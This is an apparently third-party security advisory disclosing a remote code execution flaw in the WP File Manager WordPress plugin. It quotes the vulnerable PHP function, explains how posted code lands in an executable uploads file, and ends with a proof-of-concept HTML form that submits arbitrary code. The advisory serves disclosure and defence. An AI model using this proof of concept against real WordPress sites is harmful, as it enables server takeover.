Just Closed File Manager WordPress Plugin with 300,000+ Installs Contains Authenticated Remote Code Execution (RCE) Vulnerability
Due to our monitoring for closures of the 1,000 most popular WordPress plugins we were notified that the plugin File Manager (WP File Manager), which has 300,000+ installs, was closed today. That a security vulnerability could have led to it being closed wouldn’t be surprising. That is in part due to one of the other plugins from the same developer, Duplicate Page, which has 700,000+ installs, being publicly known to contain multiple unfixed vulnerabilities for over a year (which no one on the WordPress side of things seems to care about), two of which we disclosed in October of 2017 after the developer didn’t respond to our notification to them of the issues. That is also in part due to the continued poor security of this plugin as well, including that it used to be fundamentally insecure and even when that was fixed it wasn’t fixed properly.
Once we were notified of the closure we started checking over the plugin to see if it had any obvious security issues. One of the things we do is to run the plugin through our Plugin Security Checker tool, which allows anyone to check for the possibility of some instances of security issues in WordPress plugins. That flagged that a function, mk_check_filemanager_php_syntax_callback(), was accessible through WordPress’ AJAX functionality to those logged in as well those logged out. The function named hinted that there might be something that shouldn’t be accessible to those not logged in at the very least.
In checking things over we found that those not logged in were restricted from accessing most of the functions code and therefore could not doing any malicious (that the function was registered to allow them access is just one of the security issues here), but we found that the code allows anyone logged in to WordPress execute arbitrary PHP code, which is a serious vulnerability.
Here is the relevant code in the function:
538 539 540 541 542 543 544 545 546 547 548 549 550 | public function mk_check_filemanager_php_syntax_callback() { $filename = isset($_POST['filename']) ? sanitize_file_name($_POST['filename']) : ''; $fileMime = isset($_POST['filemime']) ? sanitize_mime_type($_POST['filemime']) : ''; $code = stripslashes($_POST['code']); if (is_user_logged_in() && $fileMime == 'text/x-php') { $current_user = wp_get_current_user(); $upload_dir = wp_upload_dir(); if (isset($current_user->user_login) && !empty($upload_dir['basedir'])) { $fm_temp = $upload_dir['basedir'].'/fm_temp.php'; $handle = fopen($fm_temp, 'w'); fwrite($handle, $code); $check = shell_exec('php -d display_errors=1 -l '.$fm_temp); |
That code will save the value of the POST input “code” to the file at /wp-content/uploads/fm_temp.php. While the function’s code passes that code to the shell_exec() function, the option “-l” though causes “Syntax check only (lint)” and it shouldn’t run, you can then make a request to the file and the code will execute.
The file will be deleted the next time an admin page is requested as the function remove_fm_temp_file(), which as the name suggest removes the file, runs during admin_init:
39 | add_action('admin_init', array(&$this, 'remove_fm_temp_file')); |
Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.
Since there is no protection against cross-site request forgery (CSRF) this could be exploited through that as well.
Considering how insecure that code is, there may be other security issues in the current version of the plugin.
We have now improved one of the checks in our Plugin Security Checker that flags the possibility of being able to write arbitrary content to a file to be able to spot code like is in this plugin.
Proof of Concept
The following proof of concept will cause the specified code to be saved to the file /wp-content/uploads/fm_temp.php, when logged into WordPress.
Make sure to replace “[path to WordPress]” with the location of WordPress and “[code]” with the code to be run.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=mk_check_filemanager_php_syntax" method="POST"> <input type="hidden" name="filemime" value="text/x-php" /> <input type="hidden" name="code" value="[code]" /> <input type="submit" name="submit" value="Submit" /> </form> </body> </html>